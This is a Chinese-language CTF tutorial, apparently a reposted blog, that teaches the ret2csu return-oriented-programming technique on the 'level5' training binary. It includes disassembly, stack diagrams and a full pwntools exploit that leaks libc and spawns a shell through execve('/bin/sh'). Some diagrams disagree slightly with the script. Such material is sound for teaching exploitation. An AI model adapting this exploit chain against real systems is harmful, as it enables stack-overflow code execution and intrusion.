好好说话之ret2csu

一、x64寄存器

在64位程序中,函数的前6各参数是通过寄存器传递的,可以看到rdi作为第一个参数,rsi作为第二个参数,rdx作为第三个参数,rcx作为第四个参数,r8作为第五个参数,r9作为第六个参数。也就是说在函数调用参数的时候会依次在六个寄存器中寻找,如果参数多余6个,那么就需要在栈中寻找。

63                                 31                 15          7        0
-----------------------------------------------------------------------------
| %rax                             | %eax             | %ax       | %a1     |返回值
+---------------------------------------------------------------------------+
| %rbx                             | %ebx             | %bx       | %b1     |被调用者保存
+---------------------------------------------------------------------------+
| %rcx                             | %ecx             | %cx       | %c1     |第4个参数
+---------------------------------------------------------------------------+
| %rdx                             | %edx             | %dx       | %d1     |第3个参数
+---------------------------------------------------------------------------+
| %rsi                             | %esi             | %si       | %si1    |第2个参数
+---------------------------------------------------------------------------+
| %rdi                             | %edi             | %di       | %di1    |第1个参数
+---------------------------------------------------------------------------+
| %rbp                             | %ebp             | %bp       | %bp1    |被调用者保存
+---------------------------------------------------------------------------+
| %rsp                             | %esp             | %sp       | %sp1    |栈指针
+---------------------------------------------------------------------------+
| %r8                              | %e8d             | %r8w      | %r8b    |第5个参数
+---------------------------------------------------------------------------+
| %r9                              | %e9d             | %r9w      | %r9b    |第6个参数
+---------------------------------------------------------------------------+
| %r10                             | %e10d            | %r10w     | %r10b   |调用者保存
+---------------------------------------------------------------------------+
| %r11                             | %e11d            | %r11w     | %r11b   |调用者保存
+---------------------------------------------------------------------------+
| %r12                             | %e12d            | %r12w     | %r12b   |被调用者保存
+---------------------------------------------------------------------------+
| %r13                             | %e13d            | %r13w     | %r13b   |被调用者保存
+---------------------------------------------------------------------------+
| %r14                             | %e14d            | %r14w     | %r14b   |被调用者保存
+---------------------------------------------------------------------------+
| %r15                             | %e15d            | %r15w     | %r15b   |被调用者保存
+---------------------------------------------------------------------------+

二、libc_csu_init以及gadget

既然参数存放在寄存器中,那么如果想要对寄存器操作有两种方法,一种是在栈中部署shellcode控制寄存器的pop操作,但是如果开启了NX保护的话就无法在栈中进行插入shellcode操作。另外一种方法就是利用gadget

做完这个例子你会更加了解gadget的含义,gadget其实本质上就是程序本身或者libc中存在的一些汇编指令,比如pop ebx,pop eax等,每一条指令对应着一段地址,那么将这些gadget地址部署到栈中,在sp指针指向该gadget地址的时候发现这个地址里面是一条指令而不是一个数据,那么esp就会将该地址弹给ip指针,ip指针会执行该地址内存放的汇编指令,这样就完成了对寄存器的操作

ret2csu这种方法就是利用了x64下的__libc_csu_init函数中的gadget,也就是这个函数中的汇编指令。这个函数是用来对libc进行初始化操作的,一般的程序都会调用libc里面的函数,那么一旦掉用libc里面的函数就必须经过libc初始化的步骤,那么 libc_csu_init函数就一定存在

下面通过蒸米的一步一步学 ROP 之 linux_x64 篇中 level5 这道题来进行讲解,首先通过ida查找一下__libc_csu _init函数的位置(不同版本的libc的函数位置以及函数中的汇编指令会不一样

.text:00000000004005A0 ; void _libc_csu_init(void)
.text:00000000004005A0                 public __libc_csu_init
.text:00000000004005A0 __libc_csu_init proc near               ; DATA XREF: _start+16o
.text:00000000004005A0
.text:00000000004005A0 var_30          = qword ptr -30h
.text:00000000004005A0 var_28          = qword ptr -28h
.text:00000000004005A0 var_20          = qword ptr -20h
.text:00000000004005A0 var_18          = qword ptr -18h
.text:00000000004005A0 var_10          = qword ptr -10h
.text:00000000004005A0 var_8           = qword ptr -8
.text:00000000004005A0
.text:00000000004005A0                 mov     [rsp+var_28], rbp
.text:00000000004005A5                 mov     [rsp+var_20], r12
.text:00000000004005AA                 lea     rbp, cs:600E24h
.text:00000000004005B1                 lea     r12, cs:600E24h
.text:00000000004005B8                 mov     [rsp+var_18], r13
.text:00000000004005BD                 mov     [rsp+var_10], r14
.text:00000000004005C2                 mov     [rsp+var_8], r15
.text:00000000004005C7                 mov     [rsp+var_30], rbx
.text:00000000004005CC                 sub     rsp, 38h
.text:00000000004005D0                 sub     rbp, r12
.text:00000000004005D3                 mov     r13d, edi
.text:00000000004005D6                 mov     r14, rsi
.text:00000000004005D9                 sar     rbp, 3
.text:00000000004005DD                 mov     r15, rdx
.text:00000000004005E0                 call    _init_proc
.text:00000000004005E5                 test    rbp, rbp
.text:00000000004005E8                 jz      short loc_400606
.text:00000000004005EA                 xor     ebx, ebx
.text:00000000004005EC                 nop     dword ptr [rax+00h]
.text:00000000004005F0
.text:00000000004005F0 loc_4005F0:                             ; CODE XREF: __libc_csu_init+64j
.text:00000000004005F0                 mov     rdx, r15
.text:00000000004005F3                 mov     rsi, r14
.text:00000000004005F6                 mov     edi, r13d
.text:00000000004005F9                 call    qword ptr [r12+rbx*8]
.text:00000000004005FD                 add     rbx, 1
.text:0000000000400601                 cmp     rbx, rbp
.text:0000000000400604                 jnz     short loc_4005F0
.text:0000000000400606
.text:0000000000400606 loc_400606:                             ; CODE XREF: __libc_csu_init+48j
.text:0000000000400606                 mov     rbx, [rsp+38h+var_30]
.text:000000000040060B                 mov     rbp, [rsp+38h+var_28]
.text:0000000000400610                 mov     r12, [rsp+38h+var_20]
.text:0000000000400615                 mov     r13, [rsp+38h+var_18]
.text:000000000040061A                 mov     r14, [rsp+38h+var_10]
.text:000000000040061F                 mov     r15, [rsp+38h+var_8]
.text:0000000000400624                 add     rsp, 38h
.text:0000000000400628                 retn
.text:0000000000400628 __libc_csu_init endp

如何选取合适gadget呢?首先你要根据你需要控制的寄存器来进行选择,比如在开启NX保护的情况下,只需要将rdx寄存器中的值交给r15寄存器这样一步操作,那么就可以将0x00000000004005DD这个地址通过gets、read、strcpy等函数部署到栈中。

在__libc_csu_init函数中经常利用的有如下几点:

  • 从0x0000000000400606到0x0000000000400628这段地址,可以利用栈溢出构造栈上数据来控制rbx、rbp、r12、r13、r14、r15 寄存器的数据,并且最后还有ret的返回操作,可以通过溢出将ret原有的地址覆盖成我们想要跳转的地址
  • 从0x00000000004005F0到0x00000000004005F9这段地址,可以将r15中的值赋给rdx,将r14中的值赋给rsi,将r13中的值赋给edi(其实这里赋给的是rdi的低32位,高32位寄存器的值为0,所以可以达到控制rdi的目的,但是只能控制低32位),这三个寄存器就是0x64函数调用中的前三个参数,如果需要用到含有三个参数的函数的时候,那么这一段gadget就很有用,最后又一个call命令,call命令指向的地址是由r12寄存器和rbx寄存器联合控制的,那么可以通过控制r12和rbx来call到我们想要到达的地址
  • 从0x00000000004005FD到0x0000000000400604这段地址,可以控制rbx和rbp 的之间的关系为 rbx+1 = rbp,这样我们就不会执行 loc_4005F0,进而可以继续执行下面的汇编程序。这里我们可以简单的设置 rbx=0,rbp=1

这个部分在下面的构造payload环节中需要用到,如果payload构造看不懂,回到这里将上面的三点手动抄写20+遍,抄到你理解为止

三、ret2csu

题目路径:

hollk@ubuntu:~/ctf-challenges/pwn/stackoverflow/zhengmin1989-ROP_STEP_BY_ST4f8b5/linux_x64/5/level5

C代码

#undef _FORTIFY_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
	char buf[128];
	read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
	write(STDOUT_FILENO, "Hello, World\n", 13);
	vulnerable_function();
}

首先使用checksec查看一下程序的保护机制

$ checksec level5
[*] '/home/hollk/ctf-challenges/pwn/stackoverflow/zhengmin1989-ROP_STEP_BY_STEP-e34f8b5/linux_x64/5/level5'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

检查后发现64位程序,NX保护开启,所以不能再栈中添加shellcode或者进行跳转实现,IDA查看一下程序

ssize_t vulnerable_function()
{
  char buf; // [sp+0h] [bp-80h]@1

  return read(0, &buf, 0x200uLL);
}

发现存在read函数,read函数不会检查输入的字符串长度,所以可以进行溢出。可以看到buf变量距离sp指针0h个字节,也就是说buf变量的起始地址就是sp地址。buf变量距离bp指针80h,也就是说整个可控制的栈空间就是buf变量的起始地址到ebp的地址0x80个字节,因为是64位程序,所以后面在saved bp的位置还有8个字节,那么从变量的起始位置到ret返回有0x80+8个字节

通过ida检查程序并没有发现system函数和/bin/sh字符串,二者都需要自己构造(system函数不起效果的话可以使用execve来获取shell)

构造exp思路如下:

  • 利用LibcSearcher工具找到write函数got表地址、read函数got表地址、bss段地址和main函数地址
  • 利用栈溢出执行libc_csu_init函数中的gadget,部署write函数参数并通过write函数got表地址调用write函数打印自身的函数地址,最后重新执行main函数为接下来做准备
  • 利用LibcSearcher工具获取对应的libc版本以及execve函数地址
  • 再次利用栈溢出执行libc_csu_init函数中的gadget,通过read函数got表地址调用read函数向bss段写入execve函数地址以及/bin/sh字符串,并再次重新执行main函数为接下来做准备
  • 利用栈溢出执行libc_csu_init函数中的gadget,执行写入bss段的execve(’/bin/sh’)

四、payload构造流程:

在构造exp之前需要将payload构造出来

首先使用0x80+8个字节填满栈空间至ret返回地址,然后进行覆盖

接下来通过调用write在got表中的地址来调用write函数,那么在构造write函数的参数的时候就需要知道write函数的函数结构

ssize_t write (int fd, const void * buf, size_t count)

函数说明:write()会把参数buf所指的内存写入count个字节到参数放到所指的文件内,fd为文件描述符,fd为1时为标准输出

所以我们需要在寄存其中部署三个参数,并且在最后调用write在got表中的地址进而调用write函数打印出自身函数地址:

----------------------------------
| 寄存器和指令 |      存储数据      | 
----------------------------------
|    rdi     |        1          | rdi存放第一参数,标准输出文件描述符:fd = 1
----------------------------------
|    rsi     |     write_got     | rsi存放第二参数,需要输出的内存地址:*buf = write_got
----------------------------------
|    rdx     |        8          | rdx存放第三参数,输出字节数:count = 8
----------------------------------
|    call    |     write_got     | call write_got调用write函数
----------------------------------

那么我们可以发现在libc_csu_init函数有可以进行寄存器之间赋值并且最后有调用的gadget

.text:00000000004005F0                 mov     rdx, r15
.text:00000000004005F3                 mov     rsi, r14
.text:00000000004005F6                 mov     edi, r13d
.text:00000000004005F9                 call    qword ptr [r12+rbx*8]

可以通过这段gadget看出,如果想要在rdx、rsi和edi中部署参数,首先需要在r15中部署count,在r14中部署buf,在r13中部署fd。并且如果想要在最后使用call命令调用write_got地址,那么就需要对r12和rbx做出调整,如果将write_got地址部署在r12中,并且将0部署在rbx中,那么r12+rbx*8=write_got + 0*8=write_got,就可以达到call write_got的目的了,所以需要补充的条件如下

-----------------------------------
|   寄存器    |      存储数据       | 
+---------------------------------+
|    rbx     |         0          | 
+---------------------------------+
|    r12     |     write_got      | 
+---------------------------------+
|    r13     |         1          | 
+---------------------------------+
|    r14     |     write_got      | 
+---------------------------------+
|    r15     |         8          | 
-----------------------------------

那么我们可以发现在libc_csu_init函数有正好可以利用的gadget

.text:0000000000400606                 mov     rbx, [rsp+38h+var_30]
.text:000000000040060B                 mov     rbp, [rsp+38h+var_28]
.text:0000000000400610                 mov     r12, [rsp+38h+var_20]
.text:0000000000400615                 mov     r13, [rsp+38h+var_18]
.text:000000000040061A                 mov     r14, [rsp+38h+var_10]
.text:000000000040061F                 mov     r15, [rsp+38h+var_8]
.text:0000000000400624                 add     rsp, 38h
.text:0000000000400628                 retn

可以看到在这段gadget的结尾,即0x0000000000400628位置为ret跳转,那么正好可以接到前面给第一、二、三参数寄存器赋值的gadget,即:(如果在这蒙蔽了,看一下最开始的长篇libc_csu_init函数汇编代码)

.text:00000000004005F0                 mov     rdx, r15
.text:00000000004005F3                 mov     rsi, r14
.text:00000000004005F6                 mov     edi, r13d
.text:00000000004005F9                 call    qword ptr [r12+rbx*8]
.text:00000000004005FD                 add     rbx, 1
.text:0000000000400601                 cmp     rbx, rbp
.text:0000000000400604                 jnz     short loc_4005F0
.text:0000000000400606
.text:0000000000400606 loc_400606:                             ; CODE XREF: __libc_csu_init+48j
.text:0000000000400606                 mov     rbx, [rsp+38h+var_30]
.text:000000000040060B                 mov     rbp, [rsp+38h+var_28]
.text:0000000000400610                 mov     r12, [rsp+38h+var_20]
.text:0000000000400615                 mov     r13, [rsp+38h+var_18]
.text:000000000040061A                 mov     r14, [rsp+38h+var_10]
.text:000000000040061F                 mov     r15, [rsp+38h+var_8]
.text:0000000000400624                 add     rsp, 38h
.text:0000000000400628                 retn

那么在ret位置(0x0000000000400628)就应该部署0x00000000004005F0这个地址,即赋值gadget的开头,好让接下来的参数赋值顺利进行

还有一点需要注意的是从0x0000000000400606到0x000000000040061F,给bx、bp、12、13、14、15寄存器赋值的时候都是使用sp指针偏移实现的,所以还需要考虑起始rbx赋值时rsp+38h+var_30后面加的var_30的值是多少,这个时候就需要使用edb进行动态调试了,结果如下

00000000:00400606    			   	48 8b 5c 24 08     				    mov rbx, [rsp+8]
00000000:0040060b		 				48 8b 6c 24 10		 				mov rbp, [rsp+0x10]
00000000:00400610		 				4c 8b 6c 24 18		 				mov r12, [rsp+0x18]
00000000:00400615		 				4c 8b 74 24 20		 				mov r13, [rsp+0x20]
00000000:0040061a		 				4c 8b 7c 24 28		 				mov r14, [rsp+0x28]
00000000:0040061f		 			   	4c 8b 7c 24 30		 				mov r15, [rsp+0x30]
00000000:00400624		 				48 83 c4 38			 				add rsp, 0x38
00000000:00400628		 				c3								 			ret

所以可以看到是从rsp的下8个字节去赋值的,所以需要8个字节填满跳过的部分(注意!这个偏移不同版本的libc会有偏差,有些版本甚至没有偏移,请根据自身环境动态调试查看

最后还需要重新调用main函数,为接下来的操作做准备。但发现第二次利用的gadget中并没有ret返回指令,所以只能使用最下面的ret做为main函数地址存放位置。中间就需要对rbp的值做处理,从0x00000000004005FD到0x0000000000400604这段地址,可以控制rbx和rbp 的之间的关系为 rbx+1 = rbp,这样我们就不会执行 loc_4005F0,进而可以继续执行下面的汇编程序,所以我们将rbp的值设为1。我们可以看到在call指令后面的汇编指令中sp指针的位置并没有发生变化,都是使用偏移的方式进行数据交互的。最后的0x0000000000400624位置做了sp的平衡堆栈,把sp指针位置加了0x38个字节,最后才是ret返回地址,还需要使用0x38个字节来进行填充,最后在ret返回指令处部署main函数地址

下面是所有寄存器存放内容

                      -----------------------------------
                      |   寄存器    |      存储数据       | 
                      +---------------------------------+
                      |    rbx     |         0          | 
                      +---------------------------------+
                      |    rbp     |         1          | 
                      +---------------------------------+
                      |    r12     |     write_got      | 
                      +---------------------------------+
                      |    r13     |         1          | 
                      +---------------------------------+
                      |    r14     |     write_got      | 
                      +---------------------------------+
                      |    r15     |         8          | 
                      -----------------------------------

那么payload的组合方式就是:

payload = 'hollkdig' * 17   #0x80+8个字符
			 += p64(csu_behind_gadget)
			 += p64(0) + p64(0) + p64(1) + p64(write_got) + p64(1) + p64(write_got) + p64(8)
			 += p64(csu_front_gadget)
			 += 'hollkdig' * 7    #0x38个字符
			 += main_addr

后面的read函数布局和调用execve函数与write函数的payload布局相同

  • read函数阶段是将bss段地址作为参数,向bss段首地址写execve函数地址以及/bin/sh字符串
    read函数结构:ssize_t read(int fd, void * buf, size_t count)
  • 调用execve函数阶段是将bss首地址(execve函数地址)和bss+8,即首地址的下8位地址(/bin/sh字符串)作为参数,只用到两个参数,所以只需要对r12和r13两个寄存器赋值,其他的寄存器都可以使用0占位

五、EXP

from pwn import *
from LibcSearcher import *

level5 = ELF('./level5')
sh = process('./level5')

write_got = level5.got['write'] 		#获取write函数的got地址
read_got = level5.got['read']				#获取read函数的got地址
main_addr = level5.symbols['main']  #获取main函数的函数地址
bss_base = level5.bss()							#获取bss段地址
csu_front_gadget = 0x00000000004005F0 
#_libc_csu_init函数中位置靠前的gadget,即向rdi、rsi、rdx寄存器mov的gadget
csu_behind_gadget = 0x0000000000400606
#_libc_csu_init函数中位置靠后的gadget,即pop rbx、rbp、r12、r13、r14、r15寄存器的gadget

#自定义csu函数,方便每一次构造payload
def csu(fill, rbx, rbp, r12, r13, r14, r15, main):
  #fill为填充sp指针偏移造成8字节空缺
  #rbx, rbp, r12, r13, r14, r15皆为pop参数
  #main为main函数地址
    payload = 'hollkdig' * 17 			#0x80+8个字节填满栈空间至ret返回指令
    payload += p64(csu_behind_gadget) 
    payload += p64(fill) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_gadget)
    payload += 'hollkdig' * 7      #0x38个字节填充平衡堆栈造成的空缺
    payload += p64(main)
    sh.send(payload)    #发送payload
    sleep(1)						#暂停等待接收

sh.recvuntil('Hello, World\n')
#write函数布局打印write函数地址并返回main函数
csu(0,0, 1, write_got, 1, write_got, 8, main_addr)

write_addr = u64(sh.recv(8))    #接收write函数地址
libc = LibcSearcher('write', write_addr)	#LibcSearcher查找libc版本
libc_base = write_addr - libc.dump('write') #计算该版本libc基地址
execve_addr = libc_base + libc.dump('execve') #查找该版本libc execve函数地址
log.success('execve_addr ' + hex(execve_addr))

sh.recvuntil('Hello, World\n')
#read函数布局,将execve函数地址和/bin/sh字符串写进bss段首地址
csu(0,0, 1, read_got, 0, bss_base, 16, main_addr)
sh.send(p64(execve_addr) + '/bin/sh\x00')

sh.recvuntil('Hello, World\n')
#调用bss段中的execve('/bin/sh')
csu(0,0, 1, bss_base, bss_base+8, 0, 0, main_addr)
sh.interactive()

六、payload在栈中布局

Payload1:

                 			 +---------------------------+
                       |          main_addr        | 覆盖behind_gadget后的ret重新执行main
                 ------+---------------------------+
                   ^   |          hollkdig         | hollkdig填充堆栈平衡造成的空缺
                   |   +          hollkdig         + hollkdig填充堆栈平衡造成的空缺
                  0x38 |          ........         | hollkdig填充堆栈平衡造成的空缺
                   |   +          hollkdig         + hollkdig填充堆栈平衡造成的空缺
                   v   |          hollkdig         | hollkdig填充堆栈平衡造成的空缺
                 ------+---------------------------+
                       |      csu_front_gadgwt     | 覆盖原ret返回位置,调用front_gadget
                       +---------------------------+
                       |          00000008         | 放置在r15中,作为write函数的count参数
                       +---------------------------+
                       |         write_got         | 放置在r14中,作为write函数的buf参数
                       +---------------------------+
                       |          00000001         | 放置在r13中,作为write函数的fd参数
                       +---------------------------+
                       |         write_got         | 放置在r12中,作为call的执行函数
                       +---------------------------+
                       |          00000001         | 放置在rbp中,使front_gadget后继续执行
                       +---------------------------+
                       |          00000000         | 0放置在rbx中,使得call write函数可行
                       +---------------------------+
                       |          00000000         | 八个0填充sp指针偏移造成的空缺
                       +---------------------------+
                       |     csu_behind_gadget     | 覆盖原ret返回位置,调用behind_gadget
                       +---------------------------+
                       |         hollkdig          | hollkdig覆盖原saved ebp位置
                ebp--->+---------------------------+
                       |         hollkdig          | hollkdig占位填满栈空间
                       |         hollkdig          | hollkdig占位填满栈空间
                       |         ........          | hollkdig占位填满栈空间
                       |         hollkdig          | hollkdig占位填满栈空间
                       |         hollkdig          | hollkdig占位填满栈空间
                       |         hollkdig          | hollkdig占位填满栈空间
 buf终止位置,ebp-0x80-->+----------------------------+

Payload2:

                 			 +---------------------------+
                       |          main_addr        | 覆盖behind_gadget后的ret重新执行main
                 ------+---------------------------+
                   ^   |          hollkdig         | hollkdig填充堆栈平衡造成的空缺
                   |   +          hollkdig         + hollkdig填充堆栈平衡造成的空缺
                  0x38 |          ........         | hollkdig填充堆栈平衡造成的空缺
                   |   +          hollkdig         + hollkdig填充堆栈平衡造成的空缺
                   v   |          hollkdig         | hollkdig填充堆栈平衡造成的空缺
                 ------+---------------------------+
                       |      csu_front_gadgwt     | 覆盖原ret返回位置,调用front_gadget
                       +---------------------------+
                       |          00000008         | 放置在r15中,作为read函数的count参数
                       +---------------------------+
                       |          bss_addr         | 放置在r14中,作为read函数的buf参数
                       +---------------------------+
                       |          00000001         | 放置在r13中,作为read函数的fd参数
                       +---------------------------+
                       |          read_got         | 放置在r12中,作为call的执行函数
                       +---------------------------+
                       |          00000001         | 放置在rbp中,使front_gadget后继续执行
                       +---------------------------+
                       |          00000000         | 0放置在rbx中,使得call read函数可行
                       +---------------------------+
                       |          00000000         | 八个0填充sp指针偏移造成的空缺
                       +---------------------------+
                       |     csu_behind_gadget     | 覆盖原ret返回位置,调用behind_gadget
                       +---------------------------+
                       |         hollkdig          | hollkdig覆盖原saved ebp位置
                ebp--->+---------------------------+
                       |         hollkdig          | hollkdig占位填满栈空间
                       |         hollkdig          | hollkdig占位填满栈空间
                       |         ........          | hollkdig占位填满栈空间
                       |         hollkdig          | hollkdig占位填满栈空间
                       |         hollkdig          | hollkdig占位填满栈空间
                       |         hollkdig          | hollkdig占位填满栈空间
 buf终止位置,ebp-0x80-->+----------------------------+

Payload3:

                       +---------------------------+
                       |          00000000         | 占位
                       +---------------------------+
                       |          00000000         | 占位
                       +---------------------------+
                       |         bss_addr+8        | /bin/sh放置在r13中,作为exe函数的参数
                       +---------------------------+
                       |          bss_addr         | exe函数放置在r12中,作为call的执行函数
                       +---------------------------+
                       |          00000001         | 占位
                       +---------------------------+
                       |          00000000         | 占位
                       +---------------------------+
                       |          00000000         | 八个0填充sp指针偏移造成的空缺
                       +---------------------------+
                       |     csu_behind_gadget     | 覆盖原ret返回位置,调用behind_gadget
                       +---------------------------+
                       |         hollkdig          | hollkdig覆盖原saved ebp位置
                ebp--->+---------------------------+
                       |         hollkdig          | hollkdig占位填满栈空间
                       |         hollkdig          | hollkdig占位填满栈空间
                       |         ........          | hollkdig占位填满栈空间
                       |         hollkdig          | hollkdig占位填满栈空间
                       |         hollkdig          | hollkdig占位填满栈空间
                       |         hollkdig          | hollkdig占位填满栈空间
 buf终止位置,ebp-0x80-->+----------------------------+

猜你喜欢

转载自blog.csdn.net/qq_41202237/article/details/105913597